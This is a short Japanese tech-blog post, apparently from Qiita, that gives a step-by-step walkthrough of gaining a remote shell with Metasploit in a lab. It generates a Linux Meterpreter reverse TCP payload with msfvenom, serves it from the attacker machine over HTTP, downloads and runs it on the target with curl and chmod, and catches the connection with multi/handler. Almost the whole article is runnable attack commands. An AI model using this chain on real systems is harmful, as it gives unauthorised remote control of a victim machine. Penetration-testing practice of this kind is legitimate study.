0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

Metasploit Meterpreterで接続

Posted at

Meterpreterの作成

linux x64版のMeterpreterを作成します。
-p:ペイロード
LHOST:接続先IPアドレス
-f:フォーマット(ファイル形式)elfは、Linuxの標準バイナリ形式の実行ファイル
-o:出力先

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.10 -f elf -o meterpreter

この場合、LPORTは、デフォルトの4444ポートになります。

ターゲットに転送

今回は、curlでダウンロードします。

攻撃端末で以下のコマンドを実行

python3 -m http.server 8888

ターゲット端末でダウンロード

curl 192.168.56.10:8888/meterpreter -o meterpreter

攻撃準備

metasploitを起動します。

msfconsole

汎用的なハンドラーを使用します。

use exploit/multi/handler

ペイロードを変更します。
msfvenomコマンドで使ったものと同じ値をセットします。

set PAYLOAD linux/x64/meterpreter/reverse_tcp

オプションを設定ます。

set LHOST 192.168.56.10

実行します。
4444ポートで、待ち受けます。

exploit

接続

ダウンロードしたMeterpreterに実行権限を付与します。

chmod u+x meterpreter

ターゲット端末で、ダウンロードしたMeterpreterを実行します。

./meterpreter

攻撃端末に接続されます。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?